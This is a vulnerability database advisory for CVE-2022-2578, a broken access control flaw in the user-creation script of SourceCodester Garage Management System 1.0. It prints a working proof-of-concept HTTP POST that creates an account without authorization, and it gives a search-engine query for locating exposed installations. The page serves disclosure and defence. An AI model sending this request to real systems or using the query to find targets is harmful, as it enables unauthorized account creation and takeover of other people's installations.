VDB-205301 · CVE-2022-2578

SOURCECODESTER GARAGE MANAGEMENT SYSTEM 1.0 CREATEUSER.PHP ACCESS CONTROL

CVSS Meta Temp Score	Current Exploit Price (≈)	CTI Interest Score
5.7	$0-$5k	0.05

A vulnerability, which was classified as critical, has been found in SourceCodester Garage Management System 1.0. This issue affects an unknown code block of the file */php_action/createUser.php*. The manipulation with an unknown input leads to a access control vulnerability. Using CWE to declare the problem leads to CWE-284. The software does not restrict or incorrectly restricts access to a resource from an unauthorized actor. Impacted is confidentiality, integrity, and availability.

The weakness was released 07/29/2022. The advisory is shared at github.com. The identification of this vulnerability is CVE-2022-2578. Technical details as well as a public exploit are known. MITRE ATT&CK project uses the attack technique T1068 for this issue.

It is declared as proof-of-concept. The exploit is available at github.com. By approaching the search of inurl:php_action/createUser.php it is possible to find vulnerable targets with Google Hacking. The code used by the exploit is:

```
POST /php_action/createUser.php HTTP/1.1
Host: 192.168.67.9
Content-Length: 548
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.67.9
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryfyEJMTq3SaowAIJ3
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0
Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/sig
ned-exchange;v=b3;q=0.9
Referer: http://192.168.67.9/add-user.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close

------WebKitFormBoundaryfyEJMTq3SaowAIJ3
Content-Disposition: form-data; name="currnt_date"


------WebKitFormBoundaryfyEJMTq3SaowAIJ3
Content-Disposition: form-data; name="userName"

123@qq.com
------WebKitFormBoundaryfyEJMTq3SaowAIJ3
Content-Disposition: form-data; name="upassword"

admin@123
------WebKitFormBoundaryfyEJMTq3SaowAIJ3
Content-Disposition: form-data; name="uemail"

123@qq.com
------WebKitFormBoundaryfyEJMTq3SaowAIJ3
Content-Disposition: form-data; name="create"


------WebKitFormBoundaryfyEJMTq3SaowAIJ3--
```

There is no information about possible countermeasures known. It may be suggested to replace the affected object with an alternative product.

Product

Vendor

- SourceCodester

Name

- Garage Management System

CPE 2.3

- 🔒

CPE 2.2

- 🔒

CVSSv3

VulDB Meta Base Score: 6.3
VulDB Meta Temp Score: 5.7

VulDB Base Score: 6.3
VulDB Temp Score: 5.7
VulDB Vector: 🔒
VulDB Reliability: 🔍

CVSSv2

VulDB Base Score: 🔒
VulDB Temp Score: 🔒
VulDB Reliability: 🔍

Exploiting

Class: Access control
CWE: CWE-284 / CWE-266
ATT&CK: T1068

Local: No
Remote: Yes

Availability: 🔒
Access: Public
Status: Proof-of-Concept

Download: 🔒
Google Hack: 🔒

EPSS Score: 🔒
EPSS Percentile: 🔒

Price Prediction: 🔍
Current Price Estimation: 🔒

Threat Intelligence

Interest: 🔍
Active Actors: 🔍
Active APT Groups: 🔍

Countermeasures

Recommended: no mitigation known
Status: 🔍

0-Day Time: 🔒

Timeline

07/29/2022		Advisory disclosed
07/29/2022	+0 days	CVE reserved
07/29/2022	+0 days	VulDB entry created
08/28/2022	+30 days	VulDB last update

Sources

Advisory: github.com
Status: Not defined

CVE: CVE-2022-2578 (🔒)
scip Labs: https://www.scip.ch/en/?labs.20161013

Entry

Created: 07/29/2022 03:13 PM
Updated: 08/28/2022 02:51 PM
Changes: 07/29/2022 03:13 PM (40), 07/29/2022 03:14 PM (1), 08/28/2022 02:51 PM (2)
Complete:
Submitter: webray.com.cn

Discussion

No comments yet. Languages: en.

Please log in to comment.